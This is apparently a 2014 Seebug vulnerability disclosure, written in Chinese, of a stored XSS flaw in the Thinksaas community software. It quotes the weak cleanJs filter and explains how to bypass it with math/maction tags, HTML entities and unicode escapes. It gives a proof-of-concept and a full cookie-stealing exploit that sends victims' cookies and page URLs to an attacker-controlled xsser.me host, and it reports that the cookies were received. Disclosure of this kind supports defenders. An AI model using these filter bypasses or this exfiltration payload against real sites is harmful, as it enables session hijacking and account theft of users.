Thinksaas存储型XSS

2014-02-20T00:00:00
ID SSV:94343
Type seebug
Reporter Root
Modified 2014-02-20T00:00:00

Description

简要描述:

点击触发,因为多处调用的同一个函数所以多处存在问题 之前还交过一个它的sql注入一个越权。。求审核……审核……核

详细说明:

Thinksaas是一款轻量级开源社区系统,界面我很喜欢。官网在http://www.thinksaas.cn/。 因为是一个类似论坛的社区,所以前台难免会有富文本编辑器,而处理不好富文本的话就容易产生XSS。自从看了M老师的文章,我对XSS也有了进一步的认识,所以才能找到Thinksaas过滤不严的XSS。 我们先看它使用的哪个函数对XSS进行的过滤,\thinksaas\tsFunction.php中:

/** * 过滤脚本代码 * @param unknown $text * @return mixed */ function cleanJs($text) { $text = trim ( $text ); $text = stripslashes ( $text ); // 完全过滤注释 $text = preg_replace ( '/<!--?.*-->/', '', $text ); // 完全过滤动态代码 $text = preg_replace ( '/<\?|\?>/', '', $text ); // 完全过滤js $text = preg_replace ( '/<script?.*\/script>/', '', $text ); // 过滤多余html $text = preg_replace ( '/<\/?(html|head|meta|link|base|body|title|style|script|form|iframe|frame|frameset)[^><]*>/i', '', $text ); // 过滤on事件lang js while ( preg_match ( '/(<[^><]+)(lang|data|onfinish|onmouse|onexit|onerror|onclick|onkey|onload|onchange|onfocus|onblur)[^><]+/i', $text, $mat ) ) { $text = str_replace ( $mat [0], $mat [1], $text ); } while ( preg_match ( '/(<[^><]+)(window\.|javascript:|js:|about:|file:|document\.|vbs:|cookie)([^><]*)/i', $text, $mat ) ) { $text = str_replace ( $mat [0], $mat [1] . $mat [3], $text ); } return $text; } /** * 输入安全过滤 * @param unknown $text * @return mixed */ function tsClean($text) { $text = cleanJs ( $text ); return $text; }

cms中多处调用tsClean来清理富文本,而tsClean是调用CleanJS来清理xss。于是我们看到cleanJS函数。 首先过滤了注释,和php代码,然后“完全过滤JS”,但因为没有加i修饰符,所以直接大小写绕过。不过绕过此处也绕不过下面对标签名的过滤:html|head|meta|link|base|body|title|style|script|form|iframe|frame|frameset。过滤了这些标签,自然是还有很多标签可以执行。 它对属性的过滤比较严格,基本上onmouse系列、onkey系列、各种on属性都没了。剩下一下不太好触发的,暂时不考虑。 再下来对一些敏感的关键词进行了过滤,比如javascript:、cookie等。 标签过滤的比较少,所以我们从标签入手,一看没有过滤math,我们就可以利用math标签来绕过过滤。现给出大概的POC(有些地方情况不同略有小修改): <math> <maction actiontype="" xlink:href="javascript:alert(\u0064ocument.c\u006fokie)">hello world<maction> </math> 因为过滤了“javascript:”这个关键词,但符号我们可以替换成html实体,于是利用“javascript:”绕过。而“document.”、“cookie”关键词我们可以通过unicode编码绕过,随便编码一个字符即可。

漏洞证明:

我们看看可以在哪里插入这个POC,随便找一个富文本编辑框,比如新建小组那里,有个小组介绍:

<img src="https://images.seebug.org/upload/201402/1718394106a33dc2ad5bed8135a5f0b54a163300.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">

在这里插入即可(为防止编辑器本地过滤,抓包修改最佳)。 插入完成后,其他用户在查看该小组信息时就能看到此处XSS:

<img src="https://images.seebug.org/upload/201402/17184002f50d3bb5f0529cb93199479e9d26e896.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">

点击触发:

<img src="https://images.seebug.org/upload/201402/171840235d87e113ee72f6d5079962ffaae57ff4.jpg" alt="03.jpg" width="600" onerror="javascript:errimg(this);">

当然还有其他很多地方,比如小组发帖处。不过发帖处由于对于\的过滤,所以我们unicode编码要写成\u0064。这次来个可以xss打cookie的EXP:

&lt;p&gt; &lt;math&gt;&lt;maction actiontype="" xlink:href="javascript&colon;(function(){(new Image()).src='http://你的xsser.me地址/index.php?do=api&id=seGRev&location='+escape((function(){try{return \\u0064ocument.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&co\\u006fkie='+escape((function(){try{return \\u0064ocument.co\\u006fkie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (wind\\u006fw.opener && wind\\u006fw.opener.location.href)?wind\\u006fw.opener.location.href:''}catch(e){return ''}})());})(); if(''==1){keep=new Image();keep.src='http://你的xsser.me地址/index.php?do=keepsession&id=seGRev&url='+escape(\\u0064ocument.location)+'&c\\u006fokie='+escape(\\u0064ocument.co\\u006fkie)};"&gt;hello world&lt;/maction&gt;&lt;/math&gt; &lt;/p&gt;

基本上可以执行任意代码,只要注意在javascript中避免出现关键字(用unicode替代)即可。 可收信成功:

<img src="https://images.seebug.org/upload/201402/17184107ab573f171451ab0c3f0e27311f5cac8f.jpg" alt="04.jpg" width="600" onerror="javascript:errimg(this);">